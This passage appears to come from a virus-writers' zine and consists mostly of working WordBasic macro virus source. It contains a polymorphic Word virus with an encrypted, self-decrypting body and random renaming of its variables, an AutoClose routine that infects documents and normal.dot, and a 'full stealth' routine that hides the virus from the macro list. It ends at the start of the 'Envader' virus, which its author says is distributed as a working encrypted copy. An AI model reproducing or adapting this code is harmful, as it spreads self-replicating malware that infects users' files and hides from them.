dlg As UserDialog Dialog(dlg) End If End Sub Function CheckInstalled(j) On Error Resume Next CheckInstalled = 0 For i = 1 To CountMacros(j) If MacroName$(i, j) = @@AutoClose@@ Then CheckInstalled = 1 Next i End Function Sub Infect(WhatToInfect) JOVEPAKCFV$ = WindowName$() ToolsMacro .Name = @@AutoClose@@, .Show = WhatToInfect, .Edit EditClear - 20 '//// '//// Vlozenie prvych ITVNPFSFJOLERDPDVGC riadkov kodu makra '//// viditelna cast - nemenit ! '//// For i = 0 To ITVNPFSFJOLERDPDVGC : Insert FHUMCEAANPGT$(i) : InsertPara : Next i '//// '//// premenna i ide od riadkov @@Sub OriginalMacroBody@@+1 '//// az po @@Sub FLPMKRKPCAPOCBQVUMN@@-1 '//// velmi pozorne urcit tieto konstanty !!! '//// For i = JGGUCPCJHP To ATBCMFMITOIRU Insert FHUMCEAANPGT$(i) InsertPara Next i EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34) , .Direction = 0, .MatchCase = 1, .WholeWord = 0, .PatternMatch = 0 , .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 VJPJHQNAQRNO = - Int((4 + Rnd() * 10)) Call VOPESNDPVHCINP Insert @@VJPJHQNAQRNO = @@ + Str$(- VJPJHQNAQRNO) InsertPara HOKFFSFLVKJA DocClose 1 Activate JOVEPAKCFV$ End Sub '//// end of hidden part //// Here is an exemple of what you can see : ---------------------------------------- Dim Shared CTOJSIQREBIMKSCJOQ Dim Shared KRVTLQFIOQ Dim Shared VFFLVOMBJO Dim Shared SLDMTVLJUILNV Dim Shared QCSQPHEEPFTIUNGC Dim Shared QRPSLDKCBJN Dim Shared ECFBULHOSNPVHFQHU Dim Shared RCEGHFVLBVNUHPJ Dim Shared FUFNJKGLSUIQKJLM Dim Shared HTHPBJIVDPO Dim Shared VJPJHQNAQRNO Dim Shared FHUMCEAANPGT$(200) Dim Shared ITVNPFSFJOLERDPDVGC Dim Shared JGGUCPCJHP Dim Shared ATBCMFMITOIRU Dim Shared OQJKJCKTVTMLQS$(31) Dim Shared DBTKGBAKSUBPOIBKTAH Sub MAIN On Error Goto UTCUSCLAOECQNLTBA DsactiverTouches 1 CTOJSIQREBIMKSCJOQ = 0 KRVTLQFIOQ = 1 VFFLVOMBJO = 2 SLDMTVLJUILNV = 7 QCSQPHEEPFTIUNGC = 10 QRPSLDKCBJN = 20 ECFBULHOSNPVHFQHU = 22 RCEGHFVLBVNUHPJ = 65 FUFNJKGLSUIQKJLM = 34 HTHPBJIVDPO = 64 ITVNPFSFJOLERDPDVGC = 38 JGGUCPCJHP = 120 ATBCMFMITOIRU = 179 DBTKGBAKSUBPOIBKTAH = 31 ' test the version of Word must be the 7.0 version ADKAPBAVCRPTNA$ = AppInfo$(VFFLVOMBJO) AVLRCKOUFVTMKMJPJR = Val(Left$(ADKAPBAVCRPTNA$, KRVTLQFIOQ)) If AVLRCKOUFVTMKMJPJR <> SLDMTVLJUILNV Then Goto UTCUSCLAOECQNLTBA 'if OK, load all the variable Call FLPMKRKPCAPOCBQVUMN EcranMiseAJour CTOJSIQREBIMKSCJOQ DsactiverMacrosAuto KRVTLQFIOQ VOPESNDPVHCINP ' open a new macro and copy all the source in it JOVEPAKCFV$ = NomFentre$() OutilsMacro .Nom = "MBDRPMTMVEKV", .Afficher = KRVTLQFIOQ, .Modifier EditionEffacer - QRPSLDKCBJN For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU Insertion FHUMCEAANPGT$(BJHKBJMKQVULFPN) InsertionPara Next BJHKBJMKQVULFPN EditionRemplacer .Rechercher = Chr$(HTHPBJIVDPO) + Chr$(HTHPBJIVDPO) , .Remplacer = Chr$(FUFNJKGLSUIQKJLM), .Sens = CTOJSIQREBIMKSCJOQ , .RespecterLaCasse = KRVTLQFIOQ, .MotEntier = CTOJSIQREBIMKSCJOQ , .CritresSpciaux = CTOJSIQREBIMKSCJOQ, .Rserv23 = CTOJSIQREBIMKSCJOQ , .RemplacerTout, .Format = CTOJSIQREBIMKSCJOQ, .RenvoiLigneAuto = KRVTLQFIOQ , .TrouverToutesFormesDuMot = CTOJSIQREBIMKSCJOQ HOKFFSFLVKJA ULTNGQPUUTERVSDV FenDocFermeture KRVTLQFIOQ Activer JOVEPAKCFV$ Call MBDRPMTMVEKV OutilsMacro .Nom = "MBDRPMTMVEKV", .Afficher = KRVTLQFIOQ, .Supprimer UTCUSCLAOECQNLTBA: ' end of the virus ... DsactiverMacrosAuto CTOJSIQREBIMKSCJOQ EcranMiseAJour KRVTLQFIOQ DsactiverTouches CTOJSIQREBIMKSCJOQ End Sub Sub VOPESNDPVHCINP ' load all the Dim Shared variables at the end of the big array (200 lines) For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU COICSINJIUIOI$ = "" VGBPGUTQAQ = Len(FHUMCEAANPGT$(BJHKBJMKQVULFPN)) For MUANKIPLHAIGVBJSDI = KRVTLQFIOQ To VGBPGUTQAQ COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Asc(Mid$(FHUMCEAANPGT$(BJHKBJMKQVULFPN) , MUANKIPLHAIGVBJSDI, KRVTLQFIOQ)) - VJPJHQNAQRNO) Next MUANKIPLHAIGVBJSDI FHUMCEAANPGT$(BJHKBJMKQVULFPN) = COICSINJIUIOI$ Next BJHKBJMKQVULFPN End Sub Sub HOKFFSFLVKJA For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU Insertion "FHUMCEAANPGT$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) + FHUMCEAANPGT$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM) InsertionPara Next BJHKBJMKQVULFPN For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ Insertion "OQJKJCKTVTMLQS$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) + OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM) InsertionPara Next BJHKBJMKQVULFPN End Sub Function CEDKKKAROAKFSRAH$ ' generate random name COICSINJIUIOI$ = "" For BJHKBJMKQVULFPN = KRVTLQFIOQ To QCSQPHEEPFTIUNGC + Rnd() * QCSQPHEEPFTIUNGC COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Rnd() * ECFBULHOSNPVHFQHU + RCEGHFVLBVNUHPJ) Next BJHKBJMKQVULFPN CEDKKKAROAKFSRAH$ = COICSINJIUIOI$ End Function Sub ULTNGQPUUTERVSDV For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ EditionRemplacer .Rechercher = OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) , .Remplacer = CEDKKKAROAKFSRAH$, .Sens = CTOJSIQREBIMKSCJOQ , .RespecterLaCasse = KRVTLQFIOQ, .MotEntier = CTOJSIQREBIMKSCJOQ , .CritresSpciaux = CTOJSIQREBIMKSCJOQ, .Rserv23 = CTOJSIQREBIMKSCJOQ , .RemplacerTout, .Format = CTOJSIQREBIMKSCJOQ, .RenvoiLigneAuto = KRVTLQFIOQ , .TrouverToutesFormesDuMot = CTOJSIQREBIMKSCJOQ Next BJHKBJMKQVULFPN End Sub Sub FLPMKRKPCAPOCBQVUMN VJPJHQNAQRNO = 6 FHUMCEAANPGT$(0) = "Jos&Yngxkj&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(1) = "Jos&Yngxkj&QX\ZRWLOUW" FHUMCEAANPGT$(2) = "Jos&Yngxkj&\LLR\USHPU" FHUMCEAANPGT$(3) = "Jos&Yngxkj&YRJSZ\RP[ORT\" FHUMCEAANPGT$(4) = "Jos&Yngxkj&WIYWVNKKVLZO[TMI" FHUMCEAANPGT$(5) = "Jos&Yngxkj&WXVYRJQIHPT" FHUMCEAANPGT$(6) = "Jos&Yngxkj&KILH[RNUYTV\NLWN[" FHUMCEAANPGT$(7) = "Jos&Yngxkj&XIKMNL\RH\T[NVP" FHUMCEAANPGT$(8) = "Jos&Yngxkj&L[LTPQMRY[OWQPRS" FHUMCEAANPGT$(9) = "Jos&Yngxkj&NZNVHPO\JVU" FHUMCEAANPGT$(10) = "Jos&Yngxkj&\PVPNWTGWXTU" FHUMCEAANPGT$(11) = "Jos&Yngxkj&LN[SIKGGTVMZ*.866/" FHUMCEAANPGT$(12) = "Jos&Yngxkj&OZ\TVLYLPURKXJVJ\MI" FHUMCEAANPGT$(13) = "Jos&Yngxkj&PMM[IVIPNV" FHUMCEAANPGT$(14) = "Jos&Yngxkj&GZHISLSOZUOX[" FHUMCEAANPGT$(15) = "Jos&Yngxkj&UWPQPIQZ\ZSRWY*.97/" FHUMCEAANPGT$(16) = "Jos&Yngxkj&JHZQMHGQY[HVUOHQZGN" FHUMCEAANPGT$(17) = "" FHUMCEAANPGT$(18) = "Y{h&SGOT" FHUMCEAANPGT$(19) = "Ut&Kxxux&Muzu&[ZI[YIRGUKIWTRZHG" FHUMCEAANPGT$(20) = "JoyghrkOtv{z&7" FHUMCEAANPGT$(21) = "IZUPYOWXKHOSQYIPUW&C&6" FHUMCEAANPGT$(22) = "QX\ZRWLOUW&C&7" FHUMCEAANPGT$(23) = "\LLR\USHPU&C&8" FHUMCEAANPGT$(24) = "YRJSZ\RP[ORT\&C&=" FHUMCEAANPGT$(25) = "WIYWVNKKVLZO[TMI&C&76" FHUMCEAANPGT$(26) = "WXVYRJQIHPT&C&86" FHUMCEAANPGT$(27) = "KILH[RNUYTV\NLWN[&C&88" FHUMCEAANPGT$(28) = "XIKMNL\RH\T[NVP&C&<;" FHUMCEAANPGT$(29) = "L[LTPQMRY[OWQPRS&C&9:" FHUMCEAANPGT$(30) = "NZNVHPO\JVU&C&<:" FHUMCEAANPGT$(31) = "OZ\TVLYLPURKXJVJ\MI&C&9>" FHUMCEAANPGT$(32) = "PMM[IVIPNV&C&786" FHUMCEAANPGT$(33) = "GZHISLSOZUOX[&C&7=?" FHUMCEAANPGT$(34) = "JHZQMHGQY[HVUOHQZGN&C&97" FHUMCEAANPGT$(35) = "GJQGVHG\IXVZTG*&C&GvvOtlu*.\LLR\USHPU/" FHUMCEAANPGT$(36) = "G\RXIQU[L\ZSQSPVPX&C&\gr.Rklz*.GJQGVHG\IXVZTG*2&QX\ZRWLOUW//" FHUMCEAANPGT$(37) = "Ol&G\RXIQU[L\ZSQSPVPX&BD&YRJSZ\RP[ORT\&Znkt&Muzu&[ZI[YIRGUKIWTRZHG" FHUMCEAANPGT$(38) = "Igrr&LRVSQXQVIGVUIHW\[ST" FHUMCEAANPGT$(39) = "-5555&hkmot&ul&nojjkt&vgxz&5555" FHUMCEAANPGT$(40) = "Ynu}Hu~" FHUMCEAANPGT$(41) = "I{xLork*&C&LorkTgsk*./" FHUMCEAANPGT$(42) = "Ol&I{xLork*&C&FFFF&Znkt&Muzu&[ZI[YIRGUKIWTRZHG" FHUMCEAANPGT$(43) = "" FHUMCEAANPGT$(44) = "Ol&InkiqOtyzgrrkj.6/&C&6&Znkt" FHUMCEAANPGT$(45) = "Otlkiz.7/" FHUMCEAANPGT$(46) = "ZuuryUvzoutyYg|k&4MruhgrJuzVxusvz&C&62&4LgyzYg|ky&C&6" FHUMCEAANPGT$(47) = "Muzu&[ZI[YIRGUKIWTRZHG" FHUMCEAANPGT$(48) = "Ktj&Ol" FHUMCEAANPGT$(49) = "" FHUMCEAANPGT$(50) = "Jos&jrm&Gy&LorkYg|kGy" FHUMCEAANPGT$(51) = "MkzI{x\gr{ky&jrm" FHUMCEAANPGT$(52) = "Ol&jrm4Luxsgz&C&6&Znkt" FHUMCEAANPGT$(53) = "jrm4Luxsgz&C&7" FHUMCEAANPGT$(54) = "LorkYg|kGy&jrm" FHUMCEAANPGT$(55) = "Ktj&Ol" FHUMCEAANPGT$(56) = "" FHUMCEAANPGT$(57) = "Ol&InkiqOtyzgrrkj.7/&C&6&Znkt" FHUMCEAANPGT$(58) = "Otlkiz.9/" FHUMCEAANPGT$(59) = "LorkYg|k" FHUMCEAANPGT$(60) = "Ktj&Ol" FHUMCEAANPGT$(61) = "" FHUMCEAANPGT$(62) = "[ZI[YIRGUKIWTRZHG@" FHUMCEAANPGT$(63) = "Ktj&Y{h" FHUMCEAANPGT$(64) = "" FHUMCEAANPGT$(65) = "Y{h&Ynu}Hu~" FHUMCEAANPGT$(66) = "VgxrgsktztV{i&C&Jg.Tu}.//" FHUMCEAANPGT$(67) = "Ol&VgxrgsktztV{i&C&:&Ux&VgxrgsktztV{i&C&77&Znkt" FHUMCEAANPGT$(68) = "Hkkv" FHUMCEAANPGT$(69) = "Hkmot&Jogrum&[ykxJogrum&9>62&88:2&FF\ox{y&GRKXZ'FF" FHUMCEAANPGT$(70) = "Zk~z&8?2&>2&9:?2&792&FF_u{-xk&otlkizkj&h&]uxjSgixu4Yru|gqJoizgzux&|ox{yFF2&4Zk~z7" FHUMCEAANPGT$(71) = "Zk~z&7;2&8>2&9<62&792&FF]kriusk&zu&znk&RSK&.Rgskx-y&Sgixu&Ktmotk/&|kx4&7466FF2&4Zk~z8" FHUMCEAANPGT$(72) = "Zk~z&7:;2&;72&7892&792&FFJoy&oy&Rk|kr&:87FF2&4Zk~z9" FHUMCEAANPGT$(73) = "Zk~z&9;2&=92&9:82&792&FF.i/&73sgx3?=2&Tgyz&Rgskx&,,&[mr&R{ykx2&Yru|gqogFF2&4Zk~z:" FHUMCEAANPGT$(74) = "Zk~z&9:2&?>2&9:92&792&FFJoy&oy&znk&loxyz&}uxrj&zx{k&vursuxvnoi&sgixu&|ox{y&'FF2&4Zk~z;" FHUMCEAANPGT$(75) = "V{ynH{zzut&7862&7>>2&7:=2&872&FFGiikvz&5&Y{nrgyFF2&4V{yn7" FHUMCEAANPGT$(76) = "Zk~z&7662&7<;2&88>2&792&FFHom&l{iq&zu&znk&hom&hu~kx&\4S4FF2&4Zk~z<" FHUMCEAANPGT$(77) = "Ktj&Jogrum" FHUMCEAANPGT$(78) = "Jos&jrm&Gy&[ykxJogrum" FHUMCEAANPGT$(79) = "Jogrum.jrm/" FHUMCEAANPGT$(80) = "Ktj&Ol" FHUMCEAANPGT$(81) = "Ktj&Y{h" FHUMCEAANPGT$(82) = "" FHUMCEAANPGT$(83) = "L{tizout&InkiqOtyzgrrkj.p/" FHUMCEAANPGT$(84) = "Ut&Kxxux&Xky{sk&Tk~z" FHUMCEAANPGT$(85) = "InkiqOtyzgrrkj&C&6" FHUMCEAANPGT$(86) = "Lux&o&C&7&Zu&Iu{tzSgixuy.p/" FHUMCEAANPGT$(87) = "Ol&SgixuTgsk*.o2&p/&C&FFG{zuIruykFF&Znkt&InkiqOtyzgrrkj&C&7" FHUMCEAANPGT$(88) = "Tk~z&o" FHUMCEAANPGT$(89) = "Ktj&L{tizout" FHUMCEAANPGT$(90) = "" FHUMCEAANPGT$(91) = "Y{h&Otlkiz.]ngzZuOtlkiz/" FHUMCEAANPGT$(92) = "PU\KVGQIL\*&C&]otju}Tgsk*./" FHUMCEAANPGT$(93) = "ZuurySgixu&4Tgsk&C&FFG{zuIruykFF2&4Ynu}&C&]ngzZuOtlkiz2&4Kjoz" FHUMCEAANPGT$(94) = "KjozIrkgx&3&86" FHUMCEAANPGT$(95) = "" FHUMCEAANPGT$(96) = "-5555" FHUMCEAANPGT$(97) = "-5555&\ruktok&vx|in&OZ\TVLYLPURKXJVJ\MI&xogjqu|&quj{&sgqxg" FHUMCEAANPGT$(98) = "-5555&|ojozkrtg&igyz&3&tksktoz&'" FHUMCEAANPGT$(99) = "-5555" FHUMCEAANPGT$(100) = "Lux&o&C&6&Zu&OZ\TVLYLPURKXJVJ\MI&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o" FHUMCEAANPGT$(101) = "-5555" FHUMCEAANPGT$(102) = "-5555&vxkskttg&o&ojk&uj&xogjqu|&FFY{h&UxomotgrSgixuHujFF17" FHUMCEAANPGT$(103) = "-5555&g&vu&FFY{h&LRVSQXQVIGVUIHW\[STFF37" FHUMCEAANPGT$(104) = "-5555&|krso&vuuxtk&{xioz&zokzu&qutyzgtz&'''" FHUMCEAANPGT$(105) = "-5555" FHUMCEAANPGT$(106) = "Lux&o&C&PMM[IVIPNV&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o" FHUMCEAANPGT$(107) = "KjozXkvrgik&4Lotj&C&Inx*.<:/&1&Inx*.<:/2&4Xkvrgik&C&Inx*.9:/2&4Joxkizout&C&62&4SgzinIgyk&C&72&4]nurk]uxj&C&62&4VgzzkxtSgzin&C&62&4Yu{tjyRoqk&C&62&4XkvrgikGrr2&4Luxsgz&C&62&4]xgv&C&72&4LotjGrr]uxjLuxsy&C&6" FHUMCEAANPGT$(108) = "" FHUMCEAANPGT$(109) = "\PVPNWTGWXTU&C&3&Otz..:&1&Xtj./&0&76//" FHUMCEAANPGT$(110) = "Igrr&\UVKYTJV\NIOTV" FHUMCEAANPGT$(111) = "Otykxz&FF\PVPNWTGWXTU&C&FF&1&Yzx*.3&\PVPNWTGWXTU/" FHUMCEAANPGT$(112) = "OtykxzVgxg" FHUMCEAANPGT$(113) = "NUQLLYLR\QPG" FHUMCEAANPGT$(114) = "JuiIruyk&7" FHUMCEAANPGT$(115) = "Gizo|gzk&PU\KVGQIL\*" FHUMCEAANPGT$(116) = "Ktj&Y{h" FHUMCEAANPGT$(117) = "" FHUMCEAANPGT$(118) = "Y{h&UxomotgrSgixuHuj" FHUMCEAANPGT$(119) = "-5555&ktj&ul&Nojjkt&vgxz&5555" FHUMCEAANPGT$(120) = "Yixkkt[vjgzotm&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(121) = "JoyghrkG{zuSgixuy&QX\ZRWLOUW" FHUMCEAANPGT$(122) = "\UVKYTJV\NIOTV" FHUMCEAANPGT$(123) = "" FHUMCEAANPGT$(124) = "PU\KVGQIL\*&C&]otju}Tgsk*./" FHUMCEAANPGT$(125) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Kjoz" FHUMCEAANPGT$(126) = "KjozIrkgx&3&WXVYRJQIHPT" FHUMCEAANPGT$(127) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&@&OtykxzVgxg&@&Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(128) = "" FHUMCEAANPGT$(129) = "KjozXkvrgik&4Lotj&C&Inx*.NZNVHPO\JVU/&1&Inx*.NZNVHPO\JVU/2&4Xkvrgik&C&Inx*.L[LTPQMRY[OWQPRS/2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&" + "4XkvrgikGrr2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(130) = "" FHUMCEAANPGT$(131) = "NUQLLYLR\QPG" FHUMCEAANPGT$(132) = "[RZTMWV[[ZKX\YJ\" FHUMCEAANPGT$(133) = "JuiIruyk&QX\ZRWLOUW" FHUMCEAANPGT$(134) = "Gizo|gzk&PU\KVGQIL\*" FHUMCEAANPGT$(135) = "" FHUMCEAANPGT$(136) = "Igrr&SHJXVSZS\KQ\" FHUMCEAANPGT$(137) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Jkrkzk" FHUMCEAANPGT$(138) = "" FHUMCEAANPGT$(139) = "[ZI[YIRGUKIWTRZHG@" FHUMCEAANPGT$(140) = "JoyghrkG{zuSgixuy&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(141) = "Yixkkt[vjgzotm&QX\ZRWLOUW" FHUMCEAANPGT$(142) = "JoyghrkOtv{z&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(143) = "Ktj&Y{h" FHUMCEAANPGT$(144) = "" FHUMCEAANPGT$(145) = "Y{h&\UVKYTJV\NIOTV" FHUMCEAANPGT$(146) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[" FHUMCEAANPGT$(147) = "IUOIYOTPO[OUO*&C&FFFF" FHUMCEAANPGT$(148) = "\MHVM[ZWGW&C&Rkt.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT//" FHUMCEAANPGT$(149) = "Lux&S[GTQOVRNGOM\HPYJO&C&QX\ZRWLOUW&Zu&\MHVM[ZWGW" FHUMCEAANPGT$(150) = "IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Gyi.Soj*.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/2&S[GTQOVRNGOM\HPYJO2&QX\ZRWLOUW//&3&\PVPNWTGWXTU/" FHUMCEAANPGT$(151) = "Tk~z&S[GTQOVRNGOM\HPYJO" FHUMCEAANPGT$(152) = "LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&C&IUOIYOTPO[OUO*" FHUMCEAANPGT$(153) = "Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(154) = "Ktj&Y{h" FHUMCEAANPGT$(155) = "" FHUMCEAANPGT$(156) = "Y{h&NUQLLYLR\QPG" FHUMCEAANPGT$(157) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[" FHUMCEAANPGT$(158) = "Otykxz&FFLN[SIKGGTVMZ*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/" FHUMCEAANPGT$(159) = "OtykxzVgxg" FHUMCEAANPGT$(160) = "Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(161) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW" FHUMCEAANPGT$(162) = "Otykxz&FFUWPQPIQZ\ZSRWY*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/" FHUMCEAANPGT$(163) = "OtykxzVgxg" FHUMCEAANPGT$(164) = "Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(165) = "Ktj&Y{h" FHUMCEAANPGT$(166) = "" FHUMCEAANPGT$(167) = "L{tizout&IKJQQQGXUGQLYXGN*" FHUMCEAANPGT$(168) = "IUOIYOTPO[OUO*&C&FFFF" FHUMCEAANPGT$(169) = "Lux&HPNQHPSQW\[RLVT&C&QX\ZRWLOUW&Zu&WIYWVNKKVLZO[TMI&1&Xtj./&0&WIYWVNKKVLZO[TMI&@&IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Xtj./&0&KILH[RNUYTV\NLWN[&1&XIKMNL\RH\T[NVP/&@&Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(170) = "IKJQQQGXUGQLYXGN*&C&IUOIYOTPO[OUO*" FHUMCEAANPGT$(171) = "Ktj&L{tizout" FHUMCEAANPGT$(172) = "" FHUMCEAANPGT$(173) = "Y{h&[RZTMWV[[ZKX\YJ\" FHUMCEAANPGT$(174) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW" FHUMCEAANPGT$(175) = "KjozXkvrgik&4Lotj&C&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/2&4Xkvrgik&C&IKJQQQGXUGQLYXGN*2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&4XkvrgikGr" + "r2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW" FHUMCEAANPGT$(176) = "Tk~z&HPNQHPSQW\[RLVT" FHUMCEAANPGT$(177) = "Ktj&Y{h" FHUMCEAANPGT$(178) = "" FHUMCEAANPGT$(179) = "Y{h&LRVSQXQVIGVUIHW\[ST" OQJKJCKTVTMLQS$(0) = "VJPJHQNAQRNO" OQJKJCKTVTMLQS$(1) = "FHUMCEAANPGT" OQJKJCKTVTMLQS$(2) = "OQJKJCKTVTMLQS" OQJKJCKTVTMLQS$(3) = "CTOJSIQREBIMKSCJOQ" OQJKJCKTVTMLQS$(4) = "QCSQPHEEPFTIUNGC" OQJKJCKTVTMLQS$(5) = "ECFBULHOSNPVHFQHU" OQJKJCKTVTMLQS$(6) = "SLDMTVLJUILNV" OQJKJCKTVTMLQS$(7) = "KRVTLQFIOQ" OQJKJCKTVTMLQS$(8) = "QRPSLDKCBJN" OQJKJCKTVTMLQS$(9) = "VFFLVOMBJO" OQJKJCKTVTMLQS$(10) = "RCEGHFVLBVNUHPJ" OQJKJCKTVTMLQS$(11) = "FUFNJKGLSUIQKJLM" OQJKJCKTVTMLQS$(12) = "HTHPBJIVDPO" OQJKJCKTVTMLQS$(13) = "ITVNPFSFJOLERDPDVGC" OQJKJCKTVTMLQS$(14) = "JGGUCPCJHP" OQJKJCKTVTMLQS$(15) = "ATBCMFMITOIRU" OQJKJCKTVTMLQS$(16) = "DBTKGBAKSUBPOIBKTAH" OQJKJCKTVTMLQS$(17) = "BJHKBJMKQVULFPN" OQJKJCKTVTMLQS$(18) = "VGBPGUTQAQ" OQJKJCKTVTMLQS$(19) = "MUANKIPLHAIGVBJSDI" OQJKJCKTVTMLQS$(20) = "COICSINJIUIOI" OQJKJCKTVTMLQS$(21) = "ADKAPBAVCRPTNA" OQJKJCKTVTMLQS$(22) = "AVLRCKOUFVTMKMJPJR" OQJKJCKTVTMLQS$(23) = "UTCUSCLAOECQNLTBA" OQJKJCKTVTMLQS$(24) = "VOPESNDPVHCINP" OQJKJCKTVTMLQS$(25) = "JOVEPAKCFV" OQJKJCKTVTMLQS$(26) = "HOKFFSFLVKJA" OQJKJCKTVTMLQS$(27) = "ULTNGQPUUTERVSDV" OQJKJCKTVTMLQS$(28) = "MBDRPMTMVEKV" OQJKJCKTVTMLQS$(29) = "CEDKKKAROAKFSRAH" OQJKJCKTVTMLQS$(30) = "FLPMKRKPCAPOCBQVUMN" End Sub FULL - STEALHT ROUTINE! At first I want to say thankz to Virtual Boy for his great full-stealht routine. Yeah, right. I mean a full stealht routine, which hide all virus macros and the best the virus works, too. Forget now this really bad ToolsMacro Box from my MooNRaiDer virus and look at this fantastic code. OK, here is the source code: MACRO: ToolsMacro ~~~~~~~~~~~~~~~~~ Sub MAIN REM Get the position of the infected document. b = GetAddInId(DefaultDir$(8) + "\0.dot") REM Set ScreenUpdating Off ScreenUpdating 0 If DocMaximize() Then DocMaximize c = 1 EndIf REM Create a new file to hide the virus macros in the active file. FileNew REM Remove now the virus document from the ToolsMacro box. If b Then AddInState 1, 0 REM ToolsMacro Options Dim d As ToolsMacro On Error Resume Next Dialog d REM Close the document. FileClose REM Enable now again the virus document. If c Then DocMaximize If b Then AddInState 1, 1 REM Show the user the >> clean << Box. ;) ToolsMacro d End Sub "Routine to infect normal.dot" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sub MAIN REM a$ = Startup Path from WinWord. a$ = DefaultDir$(8) + "\0.dot" REM Copy the infected document to this Startup Path. If Files$(a$) = "" Then CopyFile FileName$(), a$ REM Enable the virus! AddAddIn a$ EndIf End Sub This code is from Virtual Boys macro virus >> Zero << (AKA: TK). - Nightmare Joker - The WinWord.Envader Virus by Gothmog/[DHA] Well, with all the commotion of Microsoft Word Macro viruses there seems to be out there these days, I decided to give it a try. After all, how can you fully understand something you haven't done? [one of the small perks of the Vx community: you do have the upper hand in understanding how viruses work and how to remove them...] In any case, here's what I came up with after about an hour. `Tis true, what they say -- that it is far easier to write a macro virus than a virus in asm or any other `real' language. [hell, if it contributes to the virus problem i don't care a damn what it's written in ...] Anyway, here's the source, and a working (& encrypted) copy is included with the other viruses in this issue as ENVADER.DOC (read the document, it's _interesting_, shall i say :) The AutoExec macro checks to see if the normal template is infected; if this template has all of the virus's macros, it is assumed to be infected, and if it has anything less, it will be infected by the virus. It also changes the user name in MS Word and in the WIN.INI file to 'Envader', just for fun. =[ macro AutoExec ]========================================================== sub main ' AutoExec on error goto paki DisableInput 1 ScreenUpdating 0 DisableAutoMacros 0 ToolsOptionsSave.GlobalDotPrompt = 0 j = 0 for i = 1 to CountMacros(0, 0) if MacroName$(i, 0, 0) = "AutoExec" then j = j + 1 elseif 